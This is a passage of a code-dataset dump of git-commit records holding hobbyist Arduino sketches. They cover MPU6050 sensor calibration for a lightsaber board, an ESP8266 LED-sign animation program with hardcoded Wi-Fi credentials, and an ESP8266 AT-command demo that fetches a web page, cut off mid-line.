mpu_caliboffset_GyroY=EEPROM.readInt(addressInt);\n mpu.setYGyroOffset(mpu_caliboffset_GyroY);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroY Offset: \");Serial.println(mpu_caliboffset_GyroY);Serial.println(\"\");\n\n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_GyroZ=EEPROM.readInt(addressInt);\n mpu.setZGyroOffset(mpu_caliboffset_GyroZ);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroZ Offset: \");Serial.println(mpu_caliboffset_GyroZ);Serial.println(\"\");\n\n dfplayer.playPhysicalTrack(1);\n \n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n \n \/\/ enable Arduino interrupt detection\n Serial.println(\n F(\n \"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n \/\/ attachInterrupt(0, dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n \n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n \n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n \n \n \/\/ set the fll scale range of the gyro- and accelerometer respectively\n mpu.setFullScaleGyroRange(0); \/\/0: 250deg\/s | 1: 500deg\/s | 2: 1000deg\/s | 3: 2000deg\/s\n mpu.setFullScaleAccelRange(0); \/\/0: 2g | 1: 4g | 2: 8g | 3: 16g\n \n \/\/ configure the motion interrupt for clash recognition\n \/\/ INT_PIN_CFG register\n \/\/ in the working code of MPU6050_DMP all bits of the INT_PIN_CFG are false (0)\n \n mpu.setInterruptMode(false); \/\/ INT_PIN_CFG register INT_LEVEL (0-active high, 1-active low)\n mpu.setInterruptDrive(false); \/\/ INT_PIN_CFG register INT_OPEN (0-push\/pull, 1-open drain)\n mpu.setInterruptLatch(false); \/\/ INT_PIN_CFG register LATCH_INT_EN (0 - emits 50us pulse upon trigger, 1-pin is held until int is cleared)\n mpu.setInterruptLatchClear(false); \/\/ INT_PIN_CFG register INT_RD_CLEAR (0-clear int only on reading int status reg, 1-any read clears int)\n mpu.setFSyncInterruptLevel(false);\n mpu.setFSyncInterruptEnabled(false);\n mpu.setI2CBypassEnabled(false);\n \/\/ Enable\/disable interrupt sources - enable only motion interrupt\n mpu.setIntFreefallEnabled(false);\n mpu.setIntMotionEnabled(true);\n mpu.setIntZeroMotionEnabled(false);\n mpu.setIntFIFOBufferOverflowEnabled(false);\n mpu.setIntI2CMasterEnabled(false);\n mpu.setIntDataReadyEnabled(false);\n mpu.setIntMotionEnabled(true); \/\/ INT_ENABLE register enable interrupt source motion detection\n mpu.setMotionDetectionThreshold(10); \/\/ 1mg\/LSB\n mpu.setMotionDetectionDuration(2); \/\/ number of consecutive samples above threshold to trigger int\n mpuIntStatus = mpu.getIntStatus();\n \/***** MP6050 MOTION DETECTOR INITIALISATION *****\/ \n \n \/***** LED SEGMENT INITIALISATION *****\/\n \/\/ initialize ledstrings segments\n DDRD |= B01101000;\n DDRB |= B00001110;\n \n \/\/We shut off all pins that could wearing leds,just to be sure\n PORTD &= B10010111;\n PORTB &= B11110001; \n\n state++;\n }\n}\/\/ if board with MPU\nelse{\n state=4;\n}\n if (state==4) { \/\/ execute test routine\n if (millis() - sndRepeat > 3000) { \/\/ repeat first sound file every 3 secs\n dfplayer.playPhysicalTrack(1);\n sndRepeat=millis();\n }\n if (LEDbrightness==50) {signBrightness=-1;}\n if (LEDbrightness==0) {signBrightness=1;}\n if (dfplayer_volume==31) {signVolume=-1;}\n if (dfplayer_volume==0) {signVolume=1;}\n if (SoundFile==30) {signSoundFile=-1;}\n if (SoundFile==0) {signSoundFile=1;}\n\n if (!BlasterBoard) {\n mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \/\/ display tab-separated accel\/gyro x\/y\/z values\n Serial.print(\"Acceleration- and Gyro values:\\t\");\n Serial.print(ax); Serial.print(\"\\t\");\n Serial.print(ay); Serial.print(\"\\t\");\n Serial.print(az); Serial.print(\"\\t\");\n Serial.print(gx); Serial.print(\"\\t\");\n Serial.print(gy); Serial.print(\"\\t\");\n Serial.println(gz);\n } \n for (int i = 0; i < sizeof(ledPins); i++) {\n analogWrite(ledPins[i], constrain(LEDbrightness,0,50));\n \/\/delay(5);\n } \n if (LEDbrightness==50) {\n\n \/\/delay(20);\n }\n \n LEDbrightness=LEDbrightness+signBrightness;\n \/\/dfplayer_volume=dfplayer_volume+signVolume;\n \/\/SoundFile=SoundFile+signSoundFile;\n \n if (!BlasterBoard) {\n \n mpuIntStatus = mpu.getIntStatus();\n if (mpuIntStatus > 60 and mpuIntStatus < 70) {\n \/*\n * THIS IS A CLASH !\n *\/\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\" CLASH! \");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n\n\n\n } \n\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ FUNCTIONS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid meansensors(){\n long i=0,buff_ax=0,buff_ay=0,buff_az=0,buff_gx=0,buff_gy=0,buff_gz=0;\n \n while (i<(buffersize+discardfirstmeas+1)){\n \/\/ read raw accel\/gyro measurements from device\n mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \n if (i>discardfirstmeas && i<=(buffersize+discardfirstmeas)){ \/\/First 100 measures are discarded\n buff_ax=buff_ax+ax;\n buff_ay=buff_ay+ay;\n buff_az=buff_az+az;\n buff_gx=buff_gx+gx;\n buff_gy=buff_gy+gy;\n buff_gz=buff_gz+gz;\n }\n if (i==(buffersize+100)){\n mean_ax=buff_ax\/buffersize;\n mean_ay=buff_ay\/buffersize;\n mean_az=buff_az\/buffersize;\n mean_gx=buff_gx\/buffersize;\n mean_gy=buff_gy\/buffersize;\n mean_gz=buff_gz\/buffersize;\n }\n i++;\n delay(2); \/\/Needed so we don't get repeated measures\n }\n \n Serial.print(\"Results of measurements a\/g:\\t\");\n Serial.print(mean_ax); Serial.print(\"\\t\");\n Serial.print(mean_ay); Serial.print(\"\\t\");\n Serial.print(mean_az); Serial.print(\"\\t\");\n Serial.print(mean_gx); Serial.print(\"\\t\");\n Serial.print(mean_gy); Serial.print(\"\\t\");\n Serial.println(mean_gz);\n}\n\nbool calibration(){\n ax_offset=-mean_ax\/accel_offset_divisor;\n ay_offset=-mean_ay\/accel_offset_divisor;\n \/\/az_offset=-mean_az\/accel_offset_divisor;\n az_offset=(16384-mean_az)\/8;\n\n gx_offset=-mean_gx\/gyro_offset_divisor;\n gy_offset=-mean_gy\/gyro_offset_divisor;\n gz_offset=-mean_gz\/gyro_offset_divisor;\n while (1){\n int ready=0;\n mpu.setXAccelOffset(ax_offset+ax_initoffset);\n mpu.setYAccelOffset(ay_offset+ay_initoffset);\n mpu.setZAccelOffset(az_offset+az_initoffset);\n\n mpu.setXGyroOffset(gx_offset+gx_initoffset);\n mpu.setYGyroOffset(gy_offset+gy_initoffset);\n mpu.setZGyroOffset(gz_offset+gz_initoffset);\n\n meansensors();\n Serial.println(\"...\");\n\n if (abs(mean_ax)<=acel_deadzone) ready++;\n else ax_offset=ax_offset-mean_ax\/acel_deadzone;\n\n if (abs(mean_ay)<=acel_deadzone) ready++;\n else ay_offset=ay_offset-mean_ay\/acel_deadzone;\n\n \/\/if (abs(mean_az)<=acel_deadzone) ready++;\n \/\/else az_offset=az_offset-mean_az\/acel_deadzone;\n\n if (abs(16384-mean_az)<=acel_deadzone) ready++;\n else az_offset=az_offset+(16384-mean_az)\/acel_deadzone;\n\n if (abs(mean_gx)<=giro_deadzone) ready++;\n else gx_offset=gx_offset-mean_gx\/(giro_deadzone+1);\n\n if (abs(mean_gy)<=giro_deadzone) ready++;\n else gy_offset=gy_offset-mean_gy\/(giro_deadzone+1);\n\n if (abs(mean_gz)<=giro_deadzone) ready++;\n else gz_offset=gz_offset-mean_gz\/(giro_deadzone+1);\n\n if (ready==6) {\n return true; \n break;\n }\n\n Serial.print(\"Resulting offset calibration value a\/g:\\t\");\n Serial.print(ax_offset+ax_initoffset); Serial.print(\"\\t\");\n Serial.print(ay_offset+ay_initoffset); Serial.print(\"\\t\");\n Serial.print(az_offset+az_initoffset); Serial.print(\"\\t\");\n Serial.print(gx_offset+gx_initoffset); Serial.print(\"\\t\");\n Serial.print(gy_offset+gy_initoffset); Serial.print(\"\\t\");\n Serial.println(gz_offset+gz_initoffset);\n loopcount=loopcount+1;\n Serial.print(\"Loop Cnt: \");Serial.println(loopcount);\n if (loopcount==10) {\n return false; \n break; \/\/ exit the calibration routine if no stable results can be obtained after 10 calibration loops\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DIYino_Testsketch_Pro.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"5ac8924e21b949c255b415839f7e8ac29a843ebf","subject":"* reduced PWM frequency to allow voltage regulation through an optical isolator tested with a 12V \"noctua\" fan * AUX ports where not initialized when multiplexing was disabled * found an issue when AUX3 is enabled. need to investigate","message":"* reduced PWM frequency to allow voltage regulation through an optical isolator\n tested with a 12V \"noctua\" fan\n* AUX ports where not initialized when multiplexing was disabled\n* found an issue when AUX3 is enabled. need to investigate\n","repos":"KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox","old_file":"Main Module\/Code_MainModule\/Code_MainModule.ino","new_file":"Main Module\/Code_MainModule\/Code_MainModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main' did not match any file(s) known to git\nerror: pathspec 'Module\/Code_MainModule\/Code_MainModule.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"cae965b8e6c5f010cee6621b86552aff7dea3307","subject":"added a working version of the Fade module","message":"added a working version of the Fade module\n\nit needs to update its output value upon receiving a new input pulse.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modifier Modules\/Fade\/FadeATtiny\/FadeATtiny.ino","new_file":"Modifier Modules\/Fade\/FadeATtiny\/FadeATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modifier' did not match any file(s) known to git\nerror: pathspec 'Modules\/Fade\/FadeATtiny\/FadeATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22edcb4e7800722bc4c6dd9408116ef18147987b","subject":"udp signm","message":"udp signm\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"ueno-sign-udp\/ueno-sign-udp.ino","new_file":"ueno-sign-udp\/ueno-sign-udp.ino","new_contents":"#define FASTLED_ALLOW_INTERRUPTS 0\n\n#include <Arduino.h>\n#include <ArduinoJson.h>\n#include <ESP8266mDNS.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n#include <WebSocketsServer.h>\n#include <Hash.h>\n#include <FastLED.h>\n\n#define qsubd(x, b) ((x>b)?255:0) \/\/ Digital unsigned subtraction macro. if result <0, then => 0. Otherwise, take on fixed value.\n#define qsuba(x, b) ((x>b)?x-b:0) \/\/ Analog Unsigned subtraction macro. if result <0, then => 0\n#define LED_DT 7 \/\/ Data pin to connect to the strip.\n#define COLOR_ORDER GRB \/\/ Are they RGB, GRB or what??\n#define LED_TYPE WS2812B \/\/ Don't forget to change LEDS.addLeds\nunsigned long previousMillis; \/\/ Store last time the strip was updated.\nint hue = 50; \/\/ Starting hue.\nbool firstTimeRunningThroughPattern = true;\n\n#define NUM_LEDS 130 \/\/ Number of LED's.\nstruct CRGB leds[NUM_LEDS]; \/\/ Initialize our LED array.\n\n\/\/ PATTERNS\n#define BEAUTIFUL_SPARKLES 1\n#define DAVE 2\n#define NIGHT_SPARKLES 3\n#define WORMS 4 \n#define DISCO_BARBER_1 5\n#define DISCO_TWIRL 6\n#define DISCO_BARBER_2 7\n#define DISCO_TWIRL_2 8\n#define RAIN 9\n\nuint8_t max_bright = 255; \/\/ Overall brightness definition. It can be changed on the fly.\nuint16_t frameDelay = 30;\n\nint maxPatternId = 9;\nint rotationInMinutes = 10;\n\n\/\/ If we're testing one pattern, use holdPattern as true and the patternId as the starting pattern.\nbool holdPattern = true;\nint patternId = BEAUTIFUL_SPARKLES;\n\n\/\/ WIFI\nconst char* ssid = \"UENO\";\nconst char* password = \"haraldur\";\n\nESP8266WiFiMulti WiFiMulti;\nWebSocketsServer webSocket = WebSocketsServer(81);\n\n\/\/ Set up LEDs, fade them all to black.\nvoid setup() {\n Serial.begin(57600);\n LEDS.addLeds<LED_TYPE, LED_DT, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(max_bright);\n set_max_power_in_volts_and_milliamps(5, 2000);\n randomSeed(analogRead(0));\n delay(50);\n\n \/\/ Setup WiFi\n setupWiFi();\n\n \/\/ Websocket\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n}\n\nuint8_t offset = 0;\nint ms = 0;\n\nvoid dave() {\n for (int k=0; k<NUM_LEDS-1; k++) {\n uint8_t k8 = k;\n uint8_t hue = (k\/15 * 255) + (offset*5);\n uint8_t saturation = rand() % 255 > 252 ? 0 : 255; \/\/NUM_LEDS - (k+offset*10);\n uint8_t value = k8 % 14 == offset % 14 ? 200 : 40; \/\/NUM_LEDS- (k+offset*10);\n if(saturation == 0){\n value = 255;\n }\n\n leds[k] = CHSV(hue, saturation, value);\n }\n\n EVERY_N_MILLISECONDS(1000\/24){\n ms++;\n if(ms % 3 == 0){\n offset++;\n }\n }\n}\n\n\nvoid verticalLines() {\n struct CRGB colors[8];\n\n\/\/ for (int i = 0; i < numberOfSparkles * 4; i++) {\n for (int i = 0; i < 8; i++) {\n colors[i] = CHSV(offset, ((256\/8) * i) + offset, ((256\/8) * i) + offset);\n }\n\n for (int k=0; k<NUM_LEDS-1; k++) {\n leds[k] = colors[k % 8];\n }\n\n offset += 20;\n \/\/ @todo progress colours in some fashion.\n}\n\nint discoBarberPhase = 0;\nuint8_t discoBarberFrequency = 10;\nuint8_t discoBarberCutoff = 30;\nuint8_t discoBarberSaturation = 240;\n\nvoid barbershop() {\n\/\/ hue = hue + 1;\n hue = 0;\n\n discoBarberFrequency = 8;\n discoBarberPhase -= 10;\n\n for (int k = 0; k < NUM_LEDS - 1; k++) {\n \/\/ qsub sets a minimum value called discoBarberCutoff. If < discoBarberCutoff, then bright = 0. Otherwise, bright = 128 (as defined in qsub)..\n int _brightness = qsubd(cubicwave8((k * discoBarberFrequency) + discoBarberPhase), discoBarberCutoff);\n leds[k] = CHSV(0, 0, 0);\n leds[k] = CHSV(hue * -20, discoBarberSaturation, _brightness); \/\/ Then assign a hue to any that are bright enough.\n }\n}\n\nint numberOfSparkles = 1;\nbool increasing = true;\n\nint upAndDownBy(int value, int difference) {\n if (value < 20 && increasing) {\n value += difference;\n } else if (value > 1) {\n value -= difference;\n increasing = false;\n } else {\n increasing = true;\n value += difference;\n }\n return value;\n}\n\nvoid nightSparkles() {\n fadeToBlackBy(leds, NUM_LEDS, 180);\n numberOfSparkles = upAndDownBy(numberOfSparkles, 1);\n for (int i = 0; i < numberOfSparkles * 4; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CHSV(hue, 180, 255);\n }\n for (int i = 0; i < numberOfSparkles; i++) {\n leds[random16(NUM_LEDS)] = CHSV(hue, 200, 20);\n }\n hue += 1;\n delay(6);\n}\n\nvoid beautifulSparkles() {\n fadeToBlackBy(leds, NUM_LEDS, 150);\n numberOfSparkles = upAndDownBy(numberOfSparkles, 1);\n for (int i = 0; i < numberOfSparkles * 3; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CHSV(hue + (pos \/ 7), 240, 255);\n }\n hue += 10;\n delay(10);\n}\n\nuint8_t numberOfWorms = 4;\nuint8_t wormsFadeRate = 80; \/\/ Very low value = longer trails.\nuint8_t wormsHueIncrement = 2; \/\/ Incremental change in hue between each dot.\nuint8_t wormsStartingHue = 180; \/\/ The current hue\nuint8_t wormsBaseBeat = 10; \/\/ Higher = faster movement.\n\nvoid worms() {\n fadeToBlackBy(leds, NUM_LEDS, wormsFadeRate);\n for ( int i = 0; i < numberOfWorms; i++) {\n for ( int j = 0; j < 20; j++) {\n leds[beatsin16(wormsBaseBeat + i + numberOfWorms, 0, NUM_LEDS - 20) + j] += CHSV(wormsStartingHue, 180, 255);\n }\n wormsStartingHue += wormsHueIncrement;\n if (wormsStartingHue > 270) {\n wormsStartingHue = 180;\n }\n }\n}\n\n\/\/int discoBarberPhase = 0;\n\/\/uint8_t discoBarberFrequency = 3;\n\/\/uint8_t discoBarberCutoff = 120;\n\/\/uint8_t discoBarberSaturation = 240;\n\nvoid discoBarber() {\n if (patternId == DISCO_BARBER_1) {\n discoBarberFrequency = 5;\n discoBarberPhase += 24;\n } else {\n discoBarberFrequency = 4;\n discoBarberPhase += 10;\n }\n\n hue = hue + 1;\n\n for (int k = 0; k < NUM_LEDS - 1; k++) {\n \/\/ qsub sets a minimum value called discoBarberCutoff. If < discoBarberCutoff, then bright = 0. Otherwise, bright = 128 (as defined in qsub)..\n int _brightness = qsubd(cubicwave8((k * discoBarberFrequency) + discoBarberPhase), discoBarberCutoff);\n leds[k] = CHSV(0, 0, 0); \/\/ First set a background colour, but fully saturated.\n\n \/\/ Sparkles!\n if (random(1000) > 990) {\n leds[k] = CHSV(255, 0, 255);\n }\n\n if (patternId == DISCO_BARBER_1) {\n \/\/ original disco barber 1\n \/\/ leds[k] += CHSV(hue+k\/5, discoBarberSaturation, _brightness); \/\/ Then assign a hue to any that are bright enough.\n leds[k] += CHSV(hue * 10 + k \/ 2, discoBarberSaturation, _brightness); \/\/ Then assign a hue to any that are bright enough.\n } else {\n leds[k] += CHSV(hue * -20 + k \/ 2, discoBarberSaturation, _brightness); \/\/ Then assign a hue to any that are bright enough.\n }\n }\n}\n\nint thisphase = 0; \/\/ Phase change value gets calculated.\nbool fadeUp = 0;\nbool thisdir = 0; \/\/ You can change direction.\nuint8_t thishue = 0; \/\/ You can change the starting hue value for the first wave.\nuint8_t thisrot = 18; \/\/ You can change how quickly the hue rotates for this wave. Currently 0.\nuint8_t allsat = 255; \/\/ I like 'em fully saturated with colour.\nint8_t thisspeed = 16; \/\/ You can change the speed, and use negative values.\nuint8_t allfreq = 1; \/\/ You can change the frequency, thus overall width of bars.\nuint8_t thiscutoff = 200; \/\/ You can change the cutoff value to display this wave. Lower value = longer wave.\nuint8_t fade = 200;\n\nvoid discoTwirl() {\n\n if (firstTimeRunningThroughPattern) {\n thishue = 0; \/\/ You can change the starting hue value for the first wave.\n thisrot = 18; \/\/ You can change how quickly the hue rotates for this wave. Currently 0.\n allsat = 180; \/\/ I like 'em fully saturated with colour.\n thisdir = 0; \/\/ You can change direction.\n thisspeed = 8; \/\/ You can change the speed, and use negative values.\n allfreq = 4; \/\/ You can change the frequency, thus overall width of bars.\n thisphase = 0; \/\/ Phase change value gets calculated.\n thiscutoff = 200; \/\/ You can change the cutoff value to display this wave. Lower value = longer wave.\n fade = 200;\n fadeUp = 1;\n fadeToBlackBy(leds, NUM_LEDS, 255);\n } else {\n EVERY_N_MILLISECONDS(2) {\n if (fadeUp == 1) fade += 10; else fade -= 10;\n if (fade < 50) fadeUp = 1; else if (fade > 245) fadeUp = 0;\n }\n }\n\n if (thisdir == 0) thisphase+=thisspeed; else thisphase-=thisspeed; \/\/ You can change direction and speed individually.\n fadeToBlackBy(leds, NUM_LEDS, fade);\n for (int k=0; k<NUM_LEDS-1; k++) {\n int thisbright = cubicwave8((k*-allfreq)+thisphase); \/\/ qsub sets a minimum value called thiscutoff. If < thiscutoff, then bright = 0. Otherwise, bright = 128 (as defined in qsub)..\n leds[k] += CHSV(thishue + k + thisphase \/ 5, 200, thisbright); \/\/ Assigning hues and brightness to the led array.\n }\n}\n\nvoid discoTwirl2() {\n\n if (firstTimeRunningThroughPattern) {\n thishue = 0; \/\/ You can change the starting hue value for the first wave.\n thisrot = 18; \/\/ You can change how quickly the hue rotates for this wave. Currently 0.\n allsat = 255; \/\/ I like 'em fully saturated with colour.\n thisdir = 0; \/\/ You can change direction.\n thisspeed = 16; \/\/ You can change the speed, and use negative values.\n allfreq = 1; \/\/ You can change the frequency, thus overall width of bars.\n thisphase = 0; \/\/ Phase change value gets calculated.\n thiscutoff = 200; \/\/ You can change the cutoff value to display this wave. Lower value = longer wave.\n fade = 200;\n fadeUp = 0;\n thisrot = 0; \/\/ You can change how quickly the hue rotates for this wave. Currently 0.\n allsat = 255; \/\/ I like 'em fully saturated with colour.\n thisdir = 0; \/\/ You can change direction.\n thisspeed = 6; \/\/ You can change the speed, and use negative values.\n allfreq = 64; \/\/ You can change the frequency, thus overall width of bars.\n thisphase = 0; \/\/ Phase change value gets calculated.\n thiscutoff = 200; \/\/ You can change the cutoff value to display this wave. Lower value = longer wave.\n }\n\n if (thisdir == 0) thisphase+=thisspeed; else thisphase-=thisspeed; \/\/ You can change direction and speed individually.\n fadeToBlackBy(leds, NUM_LEDS, fade);\n for (int k=0; k<NUM_LEDS-1; k++) {\n int thisbright = cubicwave8((k*-allfreq)+thisphase); \/\/ qsub sets a minimum value called thiscutoff. If < thiscutoff, then bright = 0. Otherwise, bright = 128 (as defined in qsub)..\n leds[k] += CHSV(thishue + k + thisphase \/ 5, allsat, thisbright); \/\/ Assigning hues and brightness to the led array. }\n }\n}\n\nvoid draw() {\n if (patternId == NIGHT_SPARKLES) {\n nightSparkles();\n } else if (patternId == RAIN) {\n rain();\n } else if (patternId == BEAUTIFUL_SPARKLES) {\n beautifulSparkles();\n } else if (patternId == DISCO_BARBER_1 || patternId == DISCO_BARBER_2) {\n discoBarber();\n } else if (patternId == WORMS) {\n worms();\n } else if (patternId == DISCO_TWIRL) {\n discoTwirl();\n } else if (patternId == DISCO_TWIRL_2) {\n discoTwirl2();\n } else if (patternId == DAVE) {\n dave();\n }\n \n firstTimeRunningThroughPattern = false;\n}\n\nvoid loop () {\n webSocket.loop();\n if (!holdPattern) {\n EVERY_N_MINUTES(rotationInMinutes) {\n firstTimeRunningThroughPattern = true;\n patternId += 1;\n if (patternId > maxPatternId) {\n patternId = 1;\n }\n }\n }\n\n bool printIt = millis() > previousMillis + frameDelay;\n if (printIt) {\n draw();\n previousMillis = millis();\n }\n\n FastLED.setBrightness(max_bright);\n FastLED.show();\n}\n\nint counter = 0;\nint frameSize = 1;\n\nvoid rain() {\n if (firstTimeRunningThroughPattern) {\n for (int i = NUM_LEDS; i > 0; i--) {\n int on = random8(100) > 80 ? 255 : 0;\n leds[i] = CHSV(hue, 255, on);\n counter++;\n if (counter == 20) {\n hue++;\n counter = 0;\n }\n }\n } else {\n for (int i = NUM_LEDS; i > frameSize; i--) {\n leds[i] = leds[i-frameSize];\n }\n for (int i = 0; i <= frameSize + 1; i++) {\n int on = random8(100) > 80 ? 255 : 0;\n leds[i] = CHSV(hue, 255, on);\n counter++;\n if (counter == 20) {\n hue--;\n counter = 0;\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ueno-sign-udp\/ueno-sign-udp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c770c1a6e7d0c9e374e85179c0c12251fa5e7470","subject":"added example program hack_a_day_program.ino","message":"added example program hack_a_day_program.ino\n","repos":"JulienGenoud\/SuperCarMapping,JulienGenoud\/SuperCarMapping","old_file":"hardware\/hack_a_day_program.ino","new_file":"hardware\/hack_a_day_program.ino","new_contents":"#define SSID \"linksys\"\n#define PASS \"0123456789\" \/\/ My luggage has the same combination!\n#define DEST_HOST \"retro.hackaday.com\"\n#define DEST_IP \"192.254.235.21\"\n#define TIMEOUT 5000 \/\/ mS\n#define CONTINUE false\n#define HALT true\n\n\/\/ #define ECHO_COMMANDS \/\/ Un-comment to echo AT+ commands to serial monitor\n\n\/\/ Print error message and loop stop.\nvoid errorHalt(String msg)\n{\n Serial.println(msg);\n Serial.println(\"HALT\");\n while(true){};\n}\n\n\/\/ Read characters from WiFi module and echo to serial until keyword occurs or timeout.\nboolean echoFind(String keyword)\n{\n byte current_char = 0;\n byte keyword_length = keyword.length();\n \n \/\/ Fail if the target string has not been sent by deadline.\n long deadline = millis() + TIMEOUT;\n while(millis() < deadline)\n {\n if (Serial1.available())\n {\n char ch = Serial1.read();\n Serial.write(ch);\n if (ch == keyword[current_char])\n if (++current_char == keyword_length)\n {\n Serial.println();\n return true;\n }\n }\n }\n return false; \/\/ Timed out\n}\n\n\/\/ Read and echo all available module output.\n\/\/ (Used when we're indifferent to \"OK\" vs. \"no change\" responses or to get around firmware bugs.)\nvoid echoFlush()\n {while(Serial1.available()) Serial.write(Serial1.read());}\n \n\/\/ Echo module output until 3 newlines encountered.\n\/\/ (Used when we're indifferent to \"OK\" vs. \"no change\" responses.)\nvoid echoSkip()\n{\n echoFind(\"\\n\"); \/\/ Search for nl at end of command echo\n echoFind(\"\\n\"); \/\/ Search for 2nd nl at end of response.\n echoFind(\"\\n\"); \/\/ Search for 3rd nl at end of blank line.\n}\n\n\/\/ Send a command to the module and wait for acknowledgement string\n\/\/ (or flush module output if no ack specified).\n\/\/ Echoes all data received to the serial monitor.\nboolean echoCommand(String cmd, String ack, boolean halt_on_fail)\n{\n Serial1.println(cmd);\n #ifdef ECHO_COMMANDS\n Serial.print(\"--\"); Serial.println(cmd);\n #endif\n \n \/\/ If no ack response specified, skip all available module output.\n if (ack == \"\")\n echoSkip();\n else\n \/\/ Otherwise wait for ack.\n if (!echoFind(ack)) \/\/ timed out waiting for ack string \n if (halt_on_fail)\n errorHalt(cmd+\" failed\");\/\/ Critical failure halt.\n else\n return false; \/\/ Let the caller handle it.\n return true; \/\/ ack blank or ack found\n}\n\n\/\/ Connect to the specified wireless network.\nboolean connectWiFi()\n{\n String cmd = \"AT+CWJAP=\\\"\"; cmd += SSID; cmd += \"\\\",\\\"\"; cmd += PASS; cmd += \"\\\"\";\n if (echoCommand(cmd, \"OK\", CONTINUE)) \/\/ Join Access Point\n {\n Serial.println(\"Connected to WiFi.\");\n return true;\n }\n else\n {\n Serial.println(\"Connection to WiFi failed.\");\n return false;\n }\n}\n\n\/\/ ******** SETUP ********\nvoid setup() \n{\n Serial.begin(115200); \/\/ Communication with PC monitor via USB\n Serial1.begin(115200); \/\/ Communication with ESP8266 via 5V\/3.3V level shifter\n \n Serial1.setTimeout(TIMEOUT);\n Serial.println(\"ESP8266 Demo\");\n \n delay(2000);\n\n echoCommand(\"AT+RST\", \"ready\", HALT); \/\/ Reset & test if the module is ready \n Serial.println(\"Module is ready.\");\n echoCommand(\"AT+GMR\", \"OK\", CONTINUE); \/\/ Retrieves the firmware ID (version number) of the module. \n echoCommand(\"AT+CWMODE?\",\"OK\", CONTINUE);\/\/ Get module access mode. \n \n \/\/ echoCommand(\"AT+CWLAP\", \"OK\", CONTINUE); \/\/ List available access points - DOESN't WORK FOR ME\n \n echoCommand(\"AT+CWMODE=1\", \"\", HALT); \/\/ Station mode\n echoCommand(\"AT+CIPMUX=1\", \"\", HALT); \/\/ Allow multiple connections (we'll only use the first).\n\n \/\/connect to the wifi\n boolean connection_established = false;\n for(int i=0;i<5;i++)\n {\n if(connectWiFi())\n {\n connection_established = true;\n break;\n }\n }\n if (!connection_established) errorHalt(\"Connection failed\");\n \n delay(5000);\n\n \/\/echoCommand(\"AT+CWSAP=?\", \"OK\", CONTINUE); \/\/ Test connection\n echoCommand(\"AT+CIFSR\", \"\", HALT); \/\/ Echo IP address. (Firmware bug - should return \"OK\".)\n \/\/echoCommand(\"AT+CIPMUX=0\", \"\", HALT); \/\/ Set single connection mode\n}\n\n\/\/ ******** LOOP ********\nvoid loop() \n{\n \/\/ Establish TCP connection\n String cmd = \"AT+CIPSTART=0,\\\"TCP\\\",\\\"\"; cmd += DEST_IP; cmd += \"\\\",80\";\n if (!echoCommand(cmd, \"OK\", CONTINUE)) return;\n delay(2000);\n \n \/\/ Get connection status \n if (!echoCommand(\"AT+CIPSTATUS\", \"OK\", CONTINUE)) return;\n\n \/\/ Build HTTP request.\n cmd = \"GET \/ HTTP\/1.1\\r\\nHost: \"; cmd += DEST_HOST; cmd += \":80\\r\\n\\r\\n\";\n \n \/\/ Ready the module to receive raw data\n if (!echoCommand(\"AT+CIPSEND=0,\"+String(cmd.length()), \">\", CONTINUE))\n {\n echoCommand(\"AT+CIPCLOSE\", \"\", CONTINUE);\n Serial.println(\"Connection timeout.\");\n return;\n }\n \n \/\/ Send the raw HTTP request\n echoCommand(cmd, \"OK\", CONTINUE); \/\/ GET\n \n \/\/ Loop forever echoing data received from 